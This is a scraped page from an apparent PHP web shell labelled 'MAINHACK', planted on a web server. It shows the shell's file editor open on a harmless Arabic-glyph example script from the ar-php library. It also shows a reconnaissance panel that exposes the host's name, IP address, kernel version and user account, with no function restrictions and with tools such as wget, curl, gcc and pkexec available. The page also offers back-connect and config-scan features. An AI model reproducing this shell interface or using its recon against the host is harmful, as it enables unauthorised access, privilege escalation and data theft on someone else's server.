[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Glyphs_GD.php
<?php /** * Example of GD implementation for Arabic glyphs Class * * @category I18N * @package I18N_Arabic * @author Khaled Al-Sham'aa <khaled@ar-php.org> * @copyright 2006-2016 Khaled Al-Sham'aa * * @license LGPL <http://www.gnu.org/licenses/lgpl.txt> * @link http://www.ar-php.org */ error_reporting(E_STRICT); // Set the content-type header("Content-type: image/png"); // Create the image $im = @imagecreatefromgif('GD/bg.gif'); // Create some colors $black = imagecolorallocate($im, 0, 0, 0); $blue = imagecolorallocate($im, 0, 0, 255); $white = imagecolorallocate($im, 255, 255, 255); // Replace by your own font full path and name $path = substr( $_SERVER['SCRIPT_FILENAME'], 0, strrpos($_SERVER['SCRIPT_FILENAME'], '/') ); $font = $path.'/GD/ae_AlHor.ttf'; // UTF-8 charset $text = 'بسم الله الرحمن الرحيم'; imagefill($im, 0, 0, $white); imagettftext($im, 20, 0, 10, 50, $blue, $font, 'UTF-8:'); imagettftext($im, 20, 0, 250, 50, $black, $font, $text); require '../../Arabic.php'; $Arabic = new I18N_Arabic('Glyphs'); $text = 'بسم الله الرحمن الرحيم'; $text = $Arabic->utf8Glyphs($text); imagettftext($im, 20, 0, 10, 100, $blue, $font, 'Arabic Glyphs:'); imagettftext($im, 20, 0, 250, 100, $black, $font, $text); // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.48 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002